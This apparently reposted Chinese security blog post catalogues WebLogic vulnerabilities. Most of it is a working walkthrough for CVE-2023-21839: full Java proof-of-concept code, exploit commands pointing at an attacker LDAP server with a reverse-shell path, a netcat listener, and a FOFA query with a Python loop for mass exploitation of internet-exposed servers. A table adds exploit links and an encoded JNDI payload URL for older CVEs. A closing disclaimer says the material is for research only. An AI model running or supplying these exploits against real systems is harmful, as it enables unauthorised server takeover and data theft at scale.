Weblogic漏洞集锦与工具分享

admin
admin
admin
138635
文章
114
评论
2023年5月14日23:40:04评论148 views字数 5412阅读18分2秒阅读模式

Weblogic

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
接下来将介绍weblogic的一系列漏洞，并检验https://github.com/KimJun1010/WeblogicTool 该工具的可用性。

Weblogic漏洞集锦与工具分享

CVE-2023-21839（JNDI）

漏洞描述

Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
为了更好的理解这个漏洞，有必要先介绍一下相关的概念：
RMI: RMI英文全称为Remote Method Invocation，字面的意思就是远程方法调用，其实本质上是RPC服务的JAVA实现，底层实现是JRMP协议，TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。
CORBA: Common Object Request Broker Architecture（公共对象请求代理体系结构）是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL（interface definition language）描述连接到远程对象的接口，然后将其映射到制定的语言实现。
IIOP: CORBA对象之间交流的协议，传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
那么什么是RMI-IIOP呢，以往程序员如果想要开发分布式系统服务，必须在RMI和CORBA/IIOP之间做选择，但是现在有了RMI-IIOP，稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象，这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。
在weblogic中RMI-IIOP的实现模型如下：

影响版本

Weblogic 12.2.1.3.0Weblogic 12.2.1.4.0Weblogic 14.1.1.0.0

测试环境

vulhub项目（https://github.com/vulhub/）中的/weblogic/CVE-2023-21839/目录，用下面的命令下载并启动12.2.1.3版本的weblogic：
git clone https://github.com/vulhub/vulhub.gitcd vulhub//weblogic/CVE-2023-21839/docker-compose up -d
访问http://your-ip:7001/console，进入登录页面

漏洞复现

 方法一：使用DXask88MA师傅的工具：https://github.com/DXask88MA/Weblogic-CVE-2023-21839

选择的sink点在weblogic.deployment.jms.ForeignOpaqueReference.class

具体POC为：

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Random;
public class CVE_2023_21839 {    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";    static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
    private static InitialContext getInitialContext(String url)throws NamingException    {        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }    public static void main(String args[]) throws Exception {        if(args.length <2){            System.out.println(HOW_TO_USE);            System.exit(0);        }        String t3Url = args[0];        String ldapUrl = args[1];        InitialContext c=getInitialContext("t3://"+t3Url);        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f,env);        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        remoteJNDIName.set(f,ldapUrl);        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";        try{            c.bind(bindName,f);            c.lookup(bindName);        }catch(Exception e){ }
    }}

结合ceye进行dnslog尝试：

java -jar Weblogic-CVE-2023-21839.jar 10.163.0.101:7001 ldap://weblogic.xxxxxxx.ceye.io

Weblogic漏洞集锦与工具分享

rce漏洞执行成功。

方法二：利用https://github.com/KimJun1010/WeblogicTool 工具

Weblogic漏洞集锦与工具分享

Weblogic漏洞集锦与工具分享

批量漏扫

fofa搜索语句：

 
app="WebLogic-Server" || app="Weblogic_interface_7001"
批量收集目标后，使用python执行即可：
os.system("java -jar Weblogic-CVE-2023-21839.jar %s ldap://%s.xxxx.ceye.io" % (target, target.split(":")[0]))
rce漏洞排着队就来了

Weblogic漏洞集锦与工具分享

反弹shell

在路上和到门口是两回事哈，介绍下怎么反弹shell，后面漏洞都是通用的。首先下载JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务，工具链接https://github.com/WhiteHSBG/JNDIExploit

Weblogic漏洞集锦与工具分享

运行语句：java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器ip

Weblogic漏洞集锦与工具分享

接着在该服务器上进行端口监听 nc -lvp xxxx

java -jar Weblogic-CVE-2023-21839.jar目标 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

执行后：

Weblogic漏洞集锦与工具分享

查看nc监听页面shell接收情况：

Weblogic漏洞集锦与工具分享

反弹shell成功。

Weblogic漏洞集锦与工具分享

隐侠要会做的事情 ：举一反三

        

weblogic历次爆出漏洞，都会让安全圈内异常兴奋。历次漏洞总结如下：

漏洞标题

影响范围

危害

利用工具

CVE-2022-21371 WebLogic Local File Inclusion 本地文件包含漏洞

WebLogic  12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

——

.//META-INF/MANIFEST.MF

.//WEB-INF/web.xml

.//WEB-INF/portlet.xml

.//WEB-INF/weblogic.xml

CVE-2021-2394 Weblogic 二次反序列化漏洞

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0

CVE-2021-2109 Weblogic LDAP 远程代码执行漏洞

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic  12.2.1.4.0

WebLogic 14.1.1.0.0

实现远程代码执行

url/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)

CVE-2020-14756 Weblogic Server 远程代码执行漏洞

Weblogic 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

利用weblogic coherence组件中的类，绕过了黑名单机制的检测，重新能够利用黑名单中的类，造成代码执行。

CVE-2020-2551（JRMP）

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

序列化对象可以任意构造，并没有进行安全检查

https://github.com/KimJun1010/WeblogicTool 

 

CVE-2019-2725 Weblogic 反序列化远程代码执行漏洞

Weblogic 10.3.6

Weblogic 12.1.3

击者可以发送精心构造的恶意HTTP请求，在未授权的情况下远程执行命令。

https://github.com/TopScrew/CVE-2019-2725

CVE-2017-10271 Weblogic XMLDecoder 远程代码执行漏洞

Weblogic 10.3.6.0.0

Weblogic 12.1.3.0.0

Weblogic 12.2.1.0.0

Weblogic 12.2.1.2.0

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType

CVE-2016-3510 WebLogic T3 反序列化漏洞

WebLogic 12.2.1.0

WebLogic 12.1.3.0

WebLogic 12.1.2.0

WebLogic 10.3.6.0

者在可以通过该漏洞实现远程命令执行。
所有漏洞详细介绍，及渗透工具均已保存入知识星球，请各位少侠按需取用。

Weblogic漏洞集锦与工具分享

团队简介

  东方隐侠安全团队，一支专业的网络安全团队，将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识，提供一流网络安全服务，敬请关注！
Weblogic漏洞集锦与工具分享

点击上方蓝字关注“东方隐侠安全团队”；设为⭐️星标，江湖上好联系哟

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月14日23:40:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Weblogic漏洞集锦与工具分享https://cn-sec.com/archives/1729973.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息